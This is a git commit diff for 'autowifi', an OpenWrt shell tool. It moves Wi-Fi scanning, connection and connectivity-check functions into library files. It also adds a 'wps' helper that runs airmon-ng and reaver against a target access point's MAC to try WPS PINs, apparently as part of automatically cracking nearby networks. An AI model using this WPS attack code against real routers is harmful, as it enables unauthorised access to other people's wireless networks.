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authormakefu <github@syntax-fehler.de>2013-05-25 22:48:24 +0200
committermakefu <github@syntax-fehler.de>2013-05-25 22:48:53 +0200
commit4fa3206a16921d0a7984b0dcd5ca9086786a31cf (patch)
tree3716d214e5c8fefb91b361e7cc55d94c86957fa6 /usr
parented73fba46289f4af60422b2d267ba40834ca97ca (diff)
refactor functions for reusability
Diffstat (limited to 'usr')
-rwxr-xr-xusr/bin/autowifi88
-rw-r--r--usr/lib/autowifi/lib/iwlist55
-rw-r--r--usr/lib/autowifi/lib/network12
-rw-r--r--usr/lib/autowifi/lib/openwrt18
-rw-r--r--usr/lib/autowifi/lib/wps21
5 files changed, 117 insertions, 77 deletions
diff --git a/usr/bin/autowifi b/usr/bin/autowifi
index 24ffb461..7b92eb9b 100755
--- a/usr/bin/autowifi
+++ b/usr/bin/autowifi
@@ -1,77 +1,22 @@
#!/bin/sh -x
+# States (LED):
+# Blinking - running wifi plugins
+# Turned off - connected to wifi
+# Turned on - waiting for next scan round
+
wifi=wlan0
iface=@wifi-iface[0]
radio=$(uci get wireless.${iface}.device)
-connect_wifi(){
- # channel ssid encryption key
- uci set wireless.${iface}.mode=sta
- ifconfig $wifi up
- uci set wireless.${radio}.channel=$1
- uci set "wireless.${iface}.ssid=$2"
- if [ $3 == "none" ] ; then
- uci set wireless.${iface}.encryption=none
- uci -q delete wireless.${iface}.key
- else
- uci set "wireless.${iface}.key=$4"
- uci set wireless.${iface}.encryption=$3
- fi
- uci commit wireless
- wifi up
-}
+# for connect_wifi
+. /usr/lib/autowifi/lib/openwrt
-print_iwlist_env(){
- # takes environment:
- # count
- # MAC
- # CHANNEL
- # QUALITY
- # ENCRYPTION
- # ESSID
- # WPA
- # WPA2
- for i in ESSID MAC CHANNEL QUALITY ENCRYPTION WPA WPA2;do
- eval echo ${i}_${count}=\$${i}
- done
-}
+# for iwlist_scan
+. /usr/lib/autowifi/lib/iwlist
-iwlist_scan(){
- ifconfig $wifi up
+# for check_internet and check_gateway
+. /usr/lib/autowifi/lib/network
- count=0
-
- iwlist scan ${1:-} 2>/dev/null | ( while read line;
- do
- case "$line" in
- *"Cell "*)
- [ $count -eq 0 ] || print_iwlist_env
- WPA=0
- WPA2=0
- : $((count+=1))
- MAC="${line#*Address: }"
- ;;
- *Channel:*)
- CHANNEL="${line#*:}"
- ;;
- *Quality=*)
- QUALITY="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`"
- ;;
- *"Encryption key:"*)
- ENCRYPTION="${line#*key:}"
- ;;
- *ESSID:*)
- ESSID="${line#*ESSID:}"
- ;;
- *"IE: IEEE 802.11i/WPA2"*)
- WPA2=1
- ;;
- *"IE: WPA Version 1"*)
- WPA=1
- ;;
- *);;
- esac
- done; print_iwlist_env ;echo WIFI_COUNT=$count)
-}
crack_wifi(){
#SSID MAC CHANNEL ENCRYPTION WPA WPA2
all_led timer
@@ -100,17 +45,6 @@ crack_wifi(){
done
return 1
}
-check_gateway(){
- ping -c 1 -w 5 $(ip route | awk '/default/{print $3}')
-}
-check_internet(){
- secret=$(wget -O- http://euer.krebsco.de/secret)
- if [ "$secret" == "1337" ]; then
- return 0
- else
- return 1
- fi
-}
loop_over_networks(){
. /tmp/${wifi}.scan
for i in `seq 1 $WIFI_COUNT`; do
diff --git a/usr/lib/autowifi/lib/iwlist b/usr/lib/autowifi/lib/iwlist
new file mode 100644
index 00000000..a9f77f0c
--- /dev/null
+++ b/usr/lib/autowifi/lib/iwlist
@@ -0,0 +1,55 @@
+#!/bin/sh
+
+print_iwlist_env(){
+ # takes environment:
+ # count
+ # MAC
+ # CHANNEL
+ # QUALITY
+ # ENCRYPTION
+ # ESSID
+ # WPA
+ # WPA2
+ for i in ESSID MAC CHANNEL QUALITY ENCRYPTION WPA WPA2;do
+ eval echo ${i}_${count}=\$${i}
+ done
+}
+
+iwlist_scan(){
+ # usage: iwlist_scan $wifi-itf
+ ifconfig $wifi up
+
+ count=0
+
+ iwlist ${1:-} scan 2>/dev/null | ( while read line;
+ do
+ case "$line" in
+ *"Cell "*)
+ [ $count -eq 0 ] || print_iwlist_env
+ WPA=0
+ WPA2=0
+ : $((count+=1))
+ MAC="${line#*Address: }"
+ ;;
+ *Channel:*)
+ CHANNEL="${line#*:}"
+ ;;
+ *Quality=*)
+ QUALITY="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`"
+ ;;
+ *"Encryption key:"*)
+ ENCRYPTION="${line#*key:}"
+ ;;
+ *ESSID:*)
+ ESSID="${line#*ESSID:}"
+ ;;
+ *"IE: IEEE 802.11i/WPA2"*)
+ WPA2=1
+ ;;
+ *"IE: WPA Version 1"*)
+ WPA=1
+ ;;
+ *);;
+ esac
+ done; print_iwlist_env ;echo WIFI_COUNT=$count)
+}
diff --git a/usr/lib/autowifi/lib/network b/usr/lib/autowifi/lib/network
new file mode 100644
index 00000000..fd2eb6a9
--- /dev/null
+++ b/usr/lib/autowifi/lib/network
@@ -0,0 +1,12 @@
+#!/bin/sh
+check_gateway(){
+ ping -c 1 -w 5 $(ip route | awk '/default/{print $3}')
+}
+check_internet(){
+ secret=$(wget -O- http://euer.krebsco.de/secret)
+ if [ "$secret" == "1337" ]; then
+ return 0
+ else
+ return 1
+ fi
+}
diff --git a/usr/lib/autowifi/lib/openwrt b/usr/lib/autowifi/lib/openwrt
new file mode 100644
index 00000000..3483c1fe
--- /dev/null
+++ b/usr/lib/autowifi/lib/openwrt
@@ -0,0 +1,18 @@
+#!/bin/sh
+connect_wifi(){
+ # channel ssid encryption key
+ uci set wireless.${iface}.mode=sta
+
+ ifconfig $wifi up
+ uci set wireless.${radio}.channel=$1
+ uci set "wireless.${iface}.ssid=$2"
+ if [ $3 == "none" ] ; then
+ uci set wireless.${iface}.encryption=none
+ uci -q delete wireless.${iface}.key
+ else
+ uci set "wireless.${iface}.key=$4"
+ uci set wireless.${iface}.encryption=$3
+ fi
+ uci commit wireless
+ wifi up
+}
diff --git a/usr/lib/autowifi/lib/wps b/usr/lib/autowifi/lib/wps
new file mode 100644
index 00000000..0fdba0f5
--- /dev/null
+++ b/usr/lib/autowifi/lib/wps
@@ -0,0 +1,21 @@
+#!/bin/sh
+
+try_wps_pin(){
+ #
+ # ESSID MAC CHANNEL ENC WPA WPA2 PIN
+ #set -ef
+ ESSID="$1"
+ MAC="$2"
+ CHANNEL="$3"
+ ENC="$4"
+ WPA="$5"
+ WPA2="$6"
+ PIN="$7"
+
+ [ "$ENC" == off ] && return 2
+
+ airmon-ng start ${WIFI:-wlan0} $CHANNEL
+ sleep 1
+ reaver -i mon0 -b $MAC -vv -p "$PIN" -f -c $CHANNEL || :
+ airmon-ng stop mon0
+}